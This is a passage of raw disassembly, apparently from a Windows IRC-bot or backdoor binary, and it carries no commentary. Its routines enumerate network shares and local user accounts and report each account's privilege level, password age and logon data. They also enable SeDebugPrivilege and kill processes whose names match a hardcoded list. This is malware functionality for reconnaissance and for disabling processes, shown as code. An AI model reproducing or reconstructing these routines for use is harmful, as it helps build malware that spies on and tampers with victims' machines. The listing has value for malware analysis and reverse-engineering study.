[esp+8+arg_4] mov esi, eax call sub_4129B0 pop ecx pop ecx push 0 push eax push esi call dword_445214 pop esi retn sub_4129F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A14 proc near ; CODE XREF: sub_403038+276Ap var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_4129B0 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 18h loc_412A4D: ; CODE XREF: sub_412A14+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_44528C mov ebx, eax cmp ebx, esi jz short loc_412AB0 cmp ebx, 0EAh jz short loc_412AB0 push ebx push ebx call sub_4131C9 pop ecx push eax lea eax, [ebp+var_210] push offset unk_442A08 push eax call sub_4171D0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 24h jmp short loc_412B1D ; --------------------------------------------------------------------------- loc_412AB0: ; CODE XREF: sub_412A14+5Dj ; sub_412A14+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_412B14 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_412ABE: ; CODE XREF: sub_412A14+FCj push dword ptr [esi+10h] call dword_445230 test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_412AD5 mov eax, offset aNo ; "No" loc_412AD5: ; CODE XREF: sub_412A14+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4171D0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_412ABE xor esi, esi loc_412B14: ; CODE XREF: sub_412A14+A2j push [ebp+var_4] call dword_4453D8 loc_412B1D: ; CODE XREF: sub_412A14+9Aj cmp ebx, 0EAh jz loc_412A4D xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_412A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B35 proc near ; CODE XREF: sub_403038+27BDp ; sub_403038+27E4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_412BD9 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_412B77 dec eax jz short loc_412B6C dec eax jnz short loc_412B92 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_412C7B add esp, 14h jmp short loc_412B8E ; --------------------------------------------------------------------------- loc_412B6C: ; CODE XREF: sub_412B35+1Dj push ebx push edi call sub_412C5A pop ecx pop ecx jmp short loc_412B8E ; --------------------------------------------------------------------------- loc_412B77: ; CODE XREF: sub_412B35+1Aj cmp [ebp+arg_8], edi jz short loc_412B8B push [ebp+arg_8] push ebx push edi call sub_412C00 add esp, 0Ch jmp short loc_412B8E ; --------------------------------------------------------------------------- loc_412B8B: ; CODE XREF: sub_412B35+45j push 57h pop eax loc_412B8E: ; CODE XREF: sub_412B35+35j ; sub_412B35+40j ... cmp eax, edi jnz short loc_412BB2 loc_412B92: ; CODE XREF: sub_412B35+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAAE0 push off_4422DC[eax*4] push offset unk_442A30 push esi call sub_4171D0 add esp, 10h jmp short loc_412BF9 ; --------------------------------------------------------------------------- loc_412BB2: ; CODE XREF: sub_412B35+5Bj push eax call sub_4131C9 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAAE0 push off_4422D8[eax*4] push offset unk_442A50 push esi call sub_4171D0 add esp, 18h jmp short loc_412BF9 ; --------------------------------------------------------------------------- loc_412BD9: ; CODE XREF: sub_412B35+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DAAE0 lea eax, [eax+eax*2] push off_4422D8[eax*4] push offset unk_442A80 push esi call sub_4171D0 add esp, 0Ch loc_412BF9: ; CODE XREF: sub_412B35+7Bj ; sub_412B35+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_412B35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412C00 proc near ; CODE XREF: sub_412B35+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_4129B0 push [ebp+arg_4] mov edi, eax call sub_4129B0 push [ebp+arg_8] mov [ebp+var_24], eax call sub_4129B0 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_445220 pop edi leave retn sub_412C00 endp ; =============== S U B R O U T I N E ======================================= sub_412C5A proc near ; CODE XREF: sub_412B35+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4129B0 push [esp+8+arg_4] mov esi, eax call sub_4129B0 pop ecx pop ecx push eax push esi call dword_445210 pop esi retn sub_412C5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412C7B proc near ; CODE XREF: sub_412B35+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_4129B0 push [ebp+arg_4] mov esi, eax call sub_4129B0 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4453A0 test eax, eax mov [ebp+arg_0], eax jnz loc_413008 mov eax, [ebp+var_4] test eax, eax jz loc_413043 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4171D0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_412D94 dec eax jz short loc_412D8D dec eax jz short loc_412D86 mov eax, offset aUnknown_0 ; "Unknown" jmp short loc_412D99 ; --------------------------------------------------------------------------- loc_412D86: ; CODE XREF: sub_412C7B+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_412D99 ; --------------------------------------------------------------------------- loc_412D8D: ; CODE XREF: sub_412C7B+FFj mov eax, offset aUser_0 ; "User" jmp short loc_412D99 ; --------------------------------------------------------------------------- loc_412D94: ; CODE XREF: sub_412C7B+FCj mov eax, offset aGuest ; "Guest" loc_412D99: ; CODE XREF: sub_412C7B+109j ; sub_412C7B+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4171D0 push 1 loc_412F4C: ; DATA XREF: ___:off_443704o ; ___:off_443708o lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4171D0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_401445 add esp, 20h pop edi pop ebx jmp short loc_413034 ; --------------------------------------------------------------------------- loc_413008: ; CODE XREF: sub_412C7B+35j push eax lea eax, [ebp+var_204] push offset unk_442C30 push eax call sub_4171D0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_401445 add esp, 20h loc_413034: ; CODE XREF: sub_412C7B+38Bj cmp [ebp+var_4], 0 jz short loc_413043 push [ebp+var_4] call dword_4453D8 loc_413043: ; CODE XREF: sub_412C7B+40j ; sub_412C7B+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_412C7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413049 proc near ; CODE XREF: sub_403038+2821p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_4129B0 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 18h loc_413088: ; CODE XREF: sub_413049+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4452A8 cmp eax, esi mov [ebp+var_C], eax jz short loc_4130E9 cmp eax, 0EAh jz short loc_4130E9 push eax push eax call sub_4131C9 pop ecx push eax lea eax, [ebp+var_218] push offset unk_442CAC push eax call sub_4171D0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 24h jmp short loc_413164 ; --------------------------------------------------------------------------- loc_4130E9: ; CODE XREF: sub_413049+62j ; sub_413049+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_413177 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_413164 loc_4130FB: ; CODE XREF: sub_413049+EDj cmp edi, esi jz short loc_41313A push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_34 ; " %S" push eax call sub_4171D0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4130FB jmp short loc_413164 ; --------------------------------------------------------------------------- loc_41313A: ; CODE XREF: sub_413049+B4j lea eax, [ebp+var_218] push offset unk_442C78 push eax call sub_4171D0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 1Ch loc_413164: ; CODE XREF: sub_413049+9Ej ; sub_413049+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_413177 push edi call dword_4453D8 xor edi, edi mov [ebp+var_4], edi loc_413177: ; CODE XREF: sub_413049+A5j ; sub_413049+120j cmp [ebp+var_C], 0EAh jz loc_413088 cmp edi, esi jz short loc_41318F push edi call dword_4453D8 loc_41318F: ; CODE XREF: sub_413049+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4171D0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_413049 endp ; =============== S U B R O U T I N E ======================================= sub_4131C9 proc near ; CODE XREF: sub_41281F+41p ; sub_412A14+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_41327B jz loc_413274 cmp eax, 7Bh ja short loc_413240 jz short loc_413236 cmp eax, 5 jz short loc_41322C cmp eax, 8 jz short loc_413222 cmp eax, 32h jz short loc_413218 cmp eax, 35h jz short loc_41320E cmp eax, 57h jnz loc_4132CA push offset aInvalidParamet ; "Invalid parameter." jmp loc_4132EB ; --------------------------------------------------------------------------- loc_41320E: ; CODE XREF: sub_4131C9+30j push offset aServerNameNotF ; "Server name not found." jmp loc_4132EB ; --------------------------------------------------------------------------- loc_413218: ; CODE XREF: sub_4131C9+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_4132EB ; --------------------------------------------------------------------------- loc_413222: ; CODE XREF: sub_4131C9+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_4132EB ; --------------------------------------------------------------------------- loc_41322C: ; CODE XREF: sub_4131C9+21j push offset aAccessDenied_ ; "Access denied." jmp loc_4132EB ; --------------------------------------------------------------------------- loc_413236: ; CODE XREF: sub_4131C9+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_4132EB ; --------------------------------------------------------------------------- loc_413240: ; CODE XREF: sub_4131C9+1Aj sub eax, 7Ch jz short loc_41326D sub eax, 7C8h jz short loc_413266 dec eax jz short loc_41325C dec eax jnz short loc_4132CA push offset aDuplicateShare ; "Duplicate share name." jmp loc_4132EB ; --------------------------------------------------------------------------- loc_41325C: ; CODE XREF: sub_4131C9+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_4132EB ; --------------------------------------------------------------------------- loc_413266: ; CODE XREF: sub_4131C9+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_41326D: ; CODE XREF: sub_4131C9+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_413274: ; CODE XREF: sub_4131C9+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_41327B: ; CODE XREF: sub_4131C9+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_4132B4 jz short loc_4132AD sub eax, 8ADh jz short loc_4132DF dec eax dec eax jz short loc_4132A6 dec eax jz short loc_41329F dec eax dec eax jnz short loc_4132CA push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_41329F: ; CODE XREF: sub_4131C9+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_4132A6: ; CODE XREF: sub_4131C9+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_4132AD: ; CODE XREF: sub_4131C9+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_4132B4: ; CODE XREF: sub_4131C9+B9j sub eax, 8CAh jz short loc_4132E6 sub eax, 17h jz short loc_4132DF sub eax, 25h jz short loc_4132D8 sub eax, 29h jz short loc_4132D1 loc_4132CA: ; CODE XREF: sub_4131C9+35j ; sub_4131C9+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_4132D1: ; CODE XREF: sub_4131C9+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_4132D8: ; CODE XREF: sub_4131C9+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_4132DF: ; CODE XREF: sub_4131C9+C2j ; sub_4131C9+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_4132EB ; --------------------------------------------------------------------------- loc_4132E6: ; CODE XREF: sub_4131C9+F0j push offset aNetworkConnect ; "Network connection not found." loc_4132EB: ; CODE XREF: sub_4131C9+40j ; sub_4131C9+4Aj ... push offset dword_4DA880 call sub_4171D0 pop ecx mov eax, offset dword_4DA880 pop ecx retn sub_4131C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4132FD proc near ; CODE XREF: sub_403038+2861p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_419D00 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26E0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_419D00 lea eax, [ebp+var_718] push eax call sub_41A800 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_445358 test eax, eax jnz short loc_41338D mov esi, offset dword_4DA67C push offset unk_442FA8 push esi call sub_4171D0 pop ecx pop ecx jmp short loc_4133B6 ; --------------------------------------------------------------------------- loc_41338D: ; CODE XREF: sub_4132FD+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4131C9 pop ecx mov esi, offset dword_4DA67C push eax push offset dword_442FD0 push esi call sub_4171D0 add esp, 14h loc_4133B6: ; CODE XREF: sub_4132FD+8Ej mov eax, esi pop esi leave retn sub_4132FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4133BB proc near ; CODE XREF: sub_411F81+7p ; sub_413426+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 2730F02h nop push eax call dword_44532C test eax, eax jnz short loc_4133DA leave retn ; --------------------------------------------------------------------------- loc_4133DA: ; CODE XREF: sub_4133BB+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_445304 test eax, eax jz short loc_413418 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_413401 or [ebp+var_8], 2 jmp short loc_413405 ; --------------------------------------------------------------------------- loc_413401: ; CODE XREF: sub_4133BB+3Ej and [ebp+var_8], 0FFFFFFFDh loc_413405: ; CODE XREF: sub_4133BB+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4453B4 mov esi, eax loc_413418: ; CODE XREF: sub_4133BB+32j push [ebp+var_4] call near ptr 267009Bh nop mov eax, esi pop esi leave retn sub_4133BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413426 proc near ; CODE XREF: sub_403038+2D7Dp ; sub_413669+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_445368, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_413639 cmp dword_44534C, ebx jz loc_413639 cmp dword_44525C, ebx jz loc_413639 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_4133BB pop ecx pop ecx push ebx push 0Fh call dword_445368 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_41362C lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_44534C mov esi, dword_4DD2BC test eax, eax jz loc_413627 lea eax, [ebp+var_130] push eax push edi call dword_44525C test eax, eax jz loc_413627 mov edi, dword_4DD2E8 mov ebx, 1F0FFFh loc_4134EA: ; CODE XREF: sub_413426+1F9j xor eax, eax cmp [ebp+arg_10], eax jz short loc_413551 mov [ebp+var_4], offset off_443000 loc_4134F8: ; CODE XREF: sub_413426+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 28111B8h test eax, eax jz short loc_413520 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_443060 jl short loc_4134F8 jmp loc_41360D ; --------------------------------------------------------------------------- loc_413520: ; CODE XREF: sub_413426+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41360D push 0 push eax call near ptr 27308F4h nop test eax, eax jnz loc_41360D loc_413547: ; CODE XREF: sub_413426+1CDj push [ebp+var_4] call esi jmp loc_41360D ; --------------------------------------------------------------------------- loc_413551: ; CODE XREF: sub_413426+C9j cmp [ebp+arg_C], eax jnz loc_4135F8 cmp [ebp+arg_4], eax jz loc_41360D push [ebp+var_128] push 8 call dword_445368 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_4135B8 lea ecx, [ebp+var_354] push ecx push eax call dword_445208 push [ebp+var_128] test eax, eax jz short loc_4135AA lea eax, [ebp+var_234] push eax push offset aSD ; " %s (%d)" jmp short loc_4135CA ; --------------------------------------------------------------------------- loc_4135AA: ; CODE XREF: sub_413426+174j lea eax, [ebp+var_10C] push eax push offset aSD_0 ; " %s (%d)" jmp short loc_4135CA ; --------------------------------------------------------------------------- loc_4135B8: ; CODE XREF: sub_413426+15Cj push [ebp+var_128] lea eax, [ebp+var_10C] push eax push offset aSD_1 ; " %s (%d)" loc_4135CA: ; CODE XREF: sub_413426+182j ; sub_413426+190j lea eax, [ebp+var_554] push eax call sub_4171D0 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 14h jmp loc_413547 ; --------------------------------------------------------------------------- loc_4135F8: ; CODE XREF: sub_413426+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_417870 pop ecx test eax, eax pop ecx jz short loc_413640 loc_41360D: ; CODE XREF: sub_413426+F5j ; sub_413426+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_44525C test eax, eax jnz loc_4134EA xor ebx, ebx loc_413627: ; CODE XREF: sub_413426+9Dj ; sub_413426+B3j push [ebp+var_8] call esi loc_41362C: ; CODE XREF: sub_413426+77j push ebx push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_4133BB pop ecx pop ecx loc_413639: ; CODE XREF: sub_413426+3Aj ; sub_413426+46j ... xor eax, eax loc_41363B: ; CODE XREF: sub_413426+241j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413640: ; CODE XREF: sub_413426+1E5j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 27308F4h test eax, eax jnz short loc_413664 push edi call esi jmp short loc_413639 ; --------------------------------------------------------------------------- loc_413664: ; CODE XREF: sub_413426+237j push 1 pop eax jmp short loc_41363B sub_413426 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413669 proc near ; DATA XREF: sub_403038+3B03o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4431F8 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4171D0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_4136C8 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_401445 add esp, 14h loc_4136C8: ; CODE XREF: sub_413669+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_413426 add esp, 18h test eax, eax jnz short loc_4136F0 push offset unk_443218 jmp short loc_4136F5 ; --------------------------------------------------------------------------- loc_4136F0: ; CODE XREF: sub_413669+7Ej push offset unk_44323C loc_4136F5: ; CODE XREF: sub_413669+85j lea eax, [ebp+var_298] push eax call sub_4171D0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_413728 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_401445 add esp, 14h loc_413728: ; CODE XREF: sub_413669+9Dj lea eax, [ebp+var_298] push eax call sub_410557 push [ebp+var_14] call sub_40916F pop ecx pop ecx push esi nop call near ptr 2700000h pop edi pop esi sub_413669 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413747 proc near ; CODE XREF: sub_403038+2D4Bp ; sub_408F8E+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26B0000h mov esi, eax test esi, esi jz short loc_413779 push 0 push esi call near ptr 27308F4h nop test eax, eax jnz short loc_413779 push esi xor edi, edi nop call near ptr 267009Bh loc_413779: ; CODE XREF: sub_413747+1Aj ; sub_413747+27j mov eax, edi pop edi pop esi retn sub_413747 endp ; --------------------------------------------------------------------------- word_41377E dw 3356h ; DATA XREF: ___:00402B59o dd 